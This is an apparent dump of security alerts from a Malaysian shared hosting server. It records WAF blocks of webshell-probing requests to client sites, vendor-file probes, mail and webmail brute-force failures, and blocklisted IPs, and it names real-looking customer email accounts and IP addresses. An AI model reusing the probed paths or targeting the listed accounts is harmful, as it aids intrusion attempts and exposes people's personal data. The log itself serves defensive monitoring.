IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.67||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/residential/images/home/awards.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.139.44.240
country_id: 2300660
description:
Jan 27 07:16:59 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.139.44.240 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.139.44.240
country_id: 2300660
description:
Jan 27 07:17:05 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.139.44.240 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 189.11.41.156
country_id: 3469034
domain: oxbold.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/oxbold.com/carsdrifthowtogetthere.htm HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.172.69.155
country_id: 3469034
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/tests/vendor/psy/psysh/bin/build-vendor HTTP/1.1||RSV:7.67||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-27 07:23:36 H=([45.144.212.242]) [45.144.212.242]:60424 F=<no_reply@admin.com> rejected RCPT <account@hmz.com.my>: Sender verify failed


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 198.235.24.90
country_id: 6252001
description:
2026-01-27  7:28:30 790143 [Warning] Aborted connection 790143 to db: 'unconnected' user: 'unauthenticated' host: '198.235.24.90' (This connection closed normally without authentication)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.134.79
country_id: 1880251
domain: fkr.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.67||T:APACHE||MV:/index.php/about-us/faq/images/product.php||SC:/home2/fkrcom/public_html/index.php||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 77.83.39.44
country_id: 690791
description:
2026-01-27 07:37:46 H=([77.83.39.44]) [77.83.39.44]:51436 F=<ucwl.investors@jkmail.com> rejected RCPT <laupk@chs.com.my>: SPF: 77.83.39.44 is not allowed to send mail from jkmail.com


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 74.7.242.184
country_id: 6252001
domain: chokeeint.com.my
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:7.67||T:APACHE||MV:/wp-json/wp/v2/users/1||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.238.106.134
country_id: 3865483
description:
Jan 27 07:43:39 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.238.106.134 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.237.58.14
country_id: 1269750
description:
Jan 27 07:47:37 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.237.58.14 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 89.106.141.132
country_id: 2963597
description:
Jan 27 07:48:04 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 89.106.141.132 has been locked due to Imunify RBL


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 183.171.101.164
country_id: 1733045
description:
[2026-01-27 07:49:52 +0800] info [webmaild] 183.171.101.164 - payment@tujusetia.my "GET /cpsess9631429942/3rdparty/roundcube/?_task=mail&_mbox=INBOX HTTP/1.1" DEFERRED LOGIN webmaild: cookie ip check: IP address has changed: IP Address [183.171.66.56] != Current IP Address [183.171.101.164]


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 183.171.101.164
country_id: 1733045
description:
[2026-01-27 07:51:56 +0800] info [webmaild] 183.171.101.164 - rabileh@tujusetia.my "POST /cpsess7066048582/3rdparty/roundcube/?_task=mail&_action=refresh HTTP/1.1" DEFERRED LOGIN webmaild: cookie ip check: IP address has changed: IP Address [183.171.66.56] != Current IP Address [183.171.101.164]


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.211.16.153
country_id: 2300660
description:
Jan 27 07:52:33 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.211.16.153 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 138.186.196.44
country_id: 3469034
description:
Jan 27 07:52:34 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 138.186.196.44 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.89.136.194
country_id: 3469034
description:
Jan 27 07:52:34 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.89.136.194 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.139.5.166
country_id: 2300660
description:
Jan 27 07:52:44 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.139.5.166 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.89.136.228
country_id: 3469034
description:
Jan 27 07:52:56 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.89.136.228 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.89.136.228
country_id: 3469034
description:
Jan 27 07:53:05 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.89.136.228 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 188.124.68.213
country_id: 732800
description:
Jan 27 07:53:06 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 188.124.68.213 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 27.71.16.87
country_id: 1562822
description:
Jan 27 07:54:02 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 27.71.16.87 has been locked due to Imunify RBL


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 27.125.249.241
country_id: 1733045
description:
[2026-01-27 07:56:00 +0800] info [webmaild] 27.125.249.241 - celynnloh@mckd.com.my "GET /cpsess6243499935/3rdparty/roundcube/?_task=mail&_mbox=INBOX HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 185.214.10.40
country_id: 2750405
description:
2026-01-27 07:57:09 H=([185.214.10.40]) [185.214.10.40]:57511 F=<no-reply@oxbold.com> rejected RCPT <info@oxbold.com>: Sender verify failed


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 187.19.27.120
country_id: 3469034
domain: agpc.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/agpc.org.my/category/chinese/ HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 187.19.27.120
country_id: 3469034
domain: agpc.org.myhttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/agpc.org.myhttp/agpc.org.my/category/chinese/ HTTP/1.1||RSV:7.67||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 185.214.10.40
country_id: 2750405
description:
2026-01-27 07:59:01 H=([185.214.10.40]) [185.214.10.40]:51053 F=<no-reply@ktlog.com.my> rejected RCPT <marylinkoh@ktlog.com.my>: smtp auth required


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 170.82.55.80
country_id: 3469034
description:
Jan 27 08:02:39 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 170.82.55.80 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.190.205.239
country_id: 3469034
description:
Jan 27 08:03:52 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.190.205.239 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.139.0.140
country_id: 2300660
description:
Jan 27 08:03:29 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.139.0.140 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.190.205.239
country_id: 3469034
description:
Jan 27 08:04:07 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.190.205.239 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.155.44
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.67||T:APACHE||MV:/index.php/img/druma_photos/article.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 180.75.72.60
country_id: 1733045
description:
[2026-01-27 08:09:54 +0800] info [webmaild] 180.75.72.60 - pr@smartcable.com.my "GET /cpsess9084765842/3rdparty/roundcube/?_task=mail&_mbox=INBOX HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 38.172.182.31
country_id: 3625428
domain: fkr.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/fkr.com.my/book/P1/2/P2/images/logo_reward2.png HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 177.84.17.30
country_id: 3469034
domain: fkr.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/fkr.com.my/book/P1/2/P2/images/banner3.jpg HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 157.100.199.210
country_id: 3658394
domain: fkr.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/fkr.com.my/book/P1/2/P2/images/banner2.jpg HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 186.13.115.198
country_id: 3865483
domain: fkr.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/fkr.com.my/book/P1/2/P2/images/logo-(3).png HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.180.58.23
country_id: 3469034
domain: fkr.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/fkr.com.my/book/P1/2/P2/images/banner1.jpg HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.170.178.180
country_id: 1562822
domain: fkr.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/fkr.com.my/book/P1/2/P2/images/banner4.jpg HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.133.34
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.67||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/residential/img/druma_photos/press.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 123.24.247.149
country_id: 1562822
domain: fkr.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/fkr.com.my/book/P1/2/P2/images/logo_reward1.png HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 177.222.63.220
country_id: 3923057
domain: fkr.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/fkr.com.my/book/P1/2/P2/images/logo.png HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.134.212
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.67||T:APACHE||MV:/m.me/img/druma_photos/team.php||SC:/home/indfinitydesign/public_html/m.me||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.169.231.185
country_id: 1562822
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=524261 HTTP/1.1||RSV:7.67||T:APACHE||


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 198.235.24.100
country_id: 6252001
description:
2026-01-27  8:20:08 791692 [Warning] Aborted connection 791692 to db: 'unconnected' user: 'unauthenticated' host: '198.235.24.100' (This connection closed normally without authentication)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.137.160
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.67||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/commercial/img/photos/private-residence.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.74.5.204
country_id: 2395170
description:
Jan 27 08:22:57 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.74.5.204 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.74.5.204
country_id: 2395170
description:
Jan 27 08:23:04 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.74.5.204 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.85.106.73
country_id: 3469034
description:
Jan 27 08:23:19 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.85.106.73 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 82.147.84.194
country_id: 2017370
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:08-23.82.147.84.194||RSV:7.67||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 116.113.254.26
country_id: 1814991
description:
Jan 27 08:25:17 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 116.113.254.26 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.113.254.26
country_id: 1814991
description:
2026-01-27 08:25:19 dovecot_login authenticator failed for H=([116.113.254.26]) [116.113.254.26]:55260: 535 Incorrect authentication data (set_id=contact@stonewld.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.118.34.13
country_id: 1269750
description:
Jan 27 08:28:18 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.118.34.13 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 138.255.206.195
country_id: 3469034
description:
Jan 27 08:28:44 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 138.255.206.195 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.15.171.7
country_id: 3175395
description:
Jan 27 08:31:19 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.15.171.7 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 148.227.121.16
country_id: 3865483
domain: www.aire-fresh.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.aire-fresh.com/ HTTP/1.1||RSV:7.67||T:APACHE||


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 60.54.59.48
country_id: 1733045
description:
[2026-01-27 08:36:30 +0800] info [webmaild] 60.54.59.48 - general@acburn.com.my "GET /cpsess8849589841/webmail/jupiter/index.html HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-27 08:37:08 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:61476: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 27.71.16.87
country_id: 1562822
description:
Jan 27 08:37:42 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 27.71.16.87 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-27 08:38:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:61527: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.186.165.91
country_id: 1562822
domain: tujusetia.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/tujusetia.my/wp-content/uploads/2021/04/3-1.png HTTP/1.1||RSV:7.67||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-27 08:40:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:61556: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.134.212
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.67||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/residential/img/testimonial.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.133.34
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.67||T:APACHE||MV:/index.php/component/tag/images/img/photos/testimonial.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 138.36.83.34
country_id: 3469034
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/resources/views/admin/employees/index.blade.php HTTP/1.1||RSV:7.67||T:APACHE||


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 60.54.59.48
country_id: 1733045
description:
[2026-01-27 08:42:38 +0800] info [webmaild] 60.54.59.48 - general@acburn.com.my "GET /cpsess8849589841/webmail/jupiter/index.html HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 150.228.105.35
country_id: 99237
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/vendor/symfony/http-foundation/File/File.php HTTP/1.1||RSV:7.67||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-27 08:44:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:61274: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 89.213.41.155
country_id: 3469034
description:
Jan 27 08:45:04 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 89.213.41.155 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 89.213.41.155
country_id: 3469034
description:
2026-01-27 08:45:06 dovecot_login authenticator failed for H=(ADMIN) [89.213.41.155]:50593: 535 Incorrect authentication data (set_id=iliyas@maalloys.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-27 08:52:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:61365: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 175.142.113.50
country_id: 1733045
description:
[2026-01-27 08:53:36 +0800] info [webmaild] 175.142.113.50 - claimservice@evergrown.com.my "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password incorrect


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 171.241.36.216
country_id: 1562822
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:08-53.171.241.36.216||RSV:7.67||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.240.36.95
country_id: 3469034
description:
Jan 27 08:55:12 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.240.36.95 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.139.180.140
country_id: 3175395
description:
Jan 27 08:55:42 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.139.180.140 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 192.126.202.61
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:08-57.192.126.202.61||RSV:7.67||T:APACHE||


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 203.106.96.63
country_id: 1733045
description:
[2026-01-27 09:01:24 +0800] info [webmaild] 203.106.96.63 - arisya@sutsb.com.my "GET /skins/elastic/images/favicon.ico?s=1765700565 HTTP/1.1" DEFERRED LOGIN webmaild: security token missing


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 223.25.109.146
country_id: 1643084
description:
2026-01-27 09:08:42 dovecot_plain authenticator failed for H=(dhottaxdg45zqd3hvyirbog81mi) [223.25.109.146]:55900: 535 Incorrect authentication data (set_id=fadilah@pspoly.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-27 09:08:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:56590: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.16.54.22
country_id: 2750405
description:
Jan 27 09:08:05 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.16.54.22 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-27 09:08:07 dovecot_login authenticator failed for H=(1Rut6Z) [178.16.54.22]:54329: 535 Incorrect authentication data (set_id=alanlai)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 42.191.142.124
country_id: 1733045
description:
[2026-01-27 09:08:24 +0800] info [webmaild] 42.191.142.124 - cheahbanfoo@fkr.com.my "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 223.25.109.146
country_id: 1643084
description:
Jan 27 09:08:40 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 223.25.109.146 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-27 09:09:12 dovecot_login authenticator failed for H=(cIzzRKC) [178.16.54.22]:57001: 535 Incorrect authentication data (set_id=alanlai)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.142.140
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.67||T:APACHE||MV:/portfolio/img/img/img/img/img/img/img/img/img/img/img/img/img/index.php||SC:/home2/pspolycom/public_html/portfolio||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.16.54.22
country_id: 2750405
description:
Jan 27 09:09:10 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.16.54.22 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 117.72.12.138
country_id: 1814991
description:
Jan 27 09:10:45 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 117.72.12.138 has been locked due to Imunify RBL


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 203.106.96.63
country_id: 1733045
description:
[2026-01-27 09:10:49 +0800] info [webmaild] 203.106.96.63 - arisya@sutsb.com.my "GET /skins/elastic/images/favicon.ico?s=1765700565 HTTP/1.1" DEFERRED LOGIN webmaild: security token missing


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.16.54.22
country_id: 2750405
description:
Jan 27 09:10:14 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.16.54.22 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-27 09:10:16 dovecot_login authenticator failed for H=(UGj2hRsN) [178.16.54.22]:63668: 535 Incorrect authentication data (set_id=alanlai)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.16.54.22
country_id: 2750405
description:
Jan 27 09:12:11 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.16.54.22 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-27 09:12:13 dovecot_login authenticator failed for H=(yculUaq) [178.16.54.22]:60232: 535 Incorrect authentication data (set_id=alanlai)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 223.205.232.228
country_id: 1605651
description:
2026-01-27  9:12:28 793623 [Warning] Aborted connection 793623 to db: 'unconnected' user: 'unauthenticated' host: '223.205.232.228' (This connection closed normally without authentication)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.16.54.22
country_id: 2750405
description:
Jan 27 09:13:19 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.16.54.22 has been locked due to Imunify RBL


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 60.54.59.48
country_id: 1733045
description:
[2026-01-27 09:13:29 +0800] info [webmaild] 60.54.59.48 - general@acburn.com.my "GET /cpsess8849589841/webmail/jupiter/index.html HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 185.187.78.242
country_id: 99237
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/vendor/phpoffice/phpexcel/Classes/PHPExcel/DocumentSecurity.php HTTP/1.1||RSV:7.67||T:APACHE||


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 167.94.146.60
country_id: 6252001
description:
